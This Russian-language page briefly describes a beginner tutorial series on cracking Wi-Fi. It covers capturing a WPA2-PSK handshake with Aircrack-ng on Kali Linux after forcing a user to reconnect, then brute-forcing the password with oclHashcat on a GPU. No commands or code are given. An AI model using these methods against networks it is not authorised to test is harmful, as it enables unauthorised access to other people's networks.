Для проведения тестового взлома автор использует ноутбук для захвата трафика, точку доступа и пароль, которой нужно получить. Все так же используется замечательный пакет утилит Aircrack-ng, Kali Linux и немного Windows. Подбирать пароль будем утилитой oclHashcat, которая использует графический процессор для брут-форс.
Pro взлом Wi-Fi для чайников. Часть 2
И завершает хакерский курс туториал, который научит взламывать беспроводные сети, защищенные шифрованием WPA2-PSK. Нюанс взлома такой защиты состоит в том, что нужно дождаться или заставить пользователя переподключиться к интересующей нас сети, чтобы можно было увести его аутентификационные данные. Подготовительный этап немного похож на взлом сети с WEP, но дальнейшие действия намного интереснее.
Другие материалы по теме:
- Используем чужой интернет или «Скажи мне свой пароль от Wi-Fi»
- Как стать хакером: гайд по основам для новичков
- 61 репозиторий для хакеров на Github